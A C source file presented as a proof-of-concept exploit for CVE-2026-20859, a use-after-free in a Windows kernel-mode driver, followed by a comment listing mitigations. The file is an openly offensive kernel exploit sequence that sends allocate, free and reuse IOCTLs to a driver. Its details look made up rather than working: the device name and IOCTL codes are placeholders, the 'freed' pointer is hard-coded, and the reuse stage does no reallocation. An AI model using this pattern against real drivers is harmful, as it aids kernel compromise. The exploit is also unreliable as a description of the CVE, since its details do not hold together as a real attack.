// CVE-2026-20859 PoC - Windows Kernel-Mode Driver UAF
// This is a conceptual proof of concept demonstrating the vulnerability pattern
#include <windows.h>
#include <stdio.h>
// Note: Actual exploit requires kernel debugging environment and signed driver
// This PoC is for educational and defensive purposes only
typedef struct _UAF_TRIGGER_PAYLOAD {
DWORD Size;
DWORD OpCode; // Trigger specific operation
PVOID TargetPtr; // Freed kernel pointer
DWORD DataLen;
BYTE Data[256];
} UAF_TRIGGER_PAYLOAD, *PUAF_TRIGGER_PAYLOAD;
// Device name for vulnerable driver
#define VULNERABLE_DEVICE L"\\\\.\\VulnerableDriver"
int main() {
HANDLE hDevice;
DWORD bytesReturned;
UAF_TRIGGER_PAYLOAD payload;
printf("[*] CVE-2026-20859 UAF Exploit PoC\n");
printf("[*] Target: Windows Kernel-Mode Driver\n");
// Open handle to vulnerable driver
hDevice = CreateFileA(VULNERABLE_DEVICE,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device handle\n");
return 1;
}
// Stage 1: Trigger allocation and subsequent free
printf("[*] Stage 1: Triggering kernel object allocation...\n");
payload.OpCode = 0x1001; // Allocate kernel object
payload.Size = sizeof(UAF_TRIGGER_PAYLOAD);
payload.TargetPtr = NULL;
DeviceIoControl(hDevice, 0x9A001200, &payload, sizeof(payload),
&payload, sizeof(payload), &bytesReturned, NULL);
// Stage 2: Trigger free without proper cleanup
printf("[*] Stage 2: Triggering use-after-free condition...\n");
payload.OpCode = 0x1002; // Free kernel object
payload.TargetPtr = (PVOID)0xFFFF0000DEADBEEF; // Simulated freed pointer
DeviceIoControl(hDevice, 0x9A001204, &payload, sizeof(payload),
&payload, sizeof(payload), &bytesReturned, NULL);
// Stage 3: Reallocate and trigger UAF
printf("[*] Stage 3: Exploiting freed memory...\n");
payload.OpCode = 0x1003; // Use after free
DeviceIoControl(hDevice, 0x9A001208, &payload, sizeof(payload),
&payload, sizeof(payload), &bytesReturned, NULL);
CloseHandle(hDevice);
printf("[*] Exploit sequence completed\n");
printf("[*] Note: Full exploitation requires kernel debugging\n");
return 0;
}
/*
* MITIGATION:
* - Apply MSRT January 2026 security updates
* - Enable Kernel Data Protection (KDP)
* - Enable HVCI (Hypervisor-Protected Code Integrity)
* - Monitor for suspicious driver interaction via ETW
*/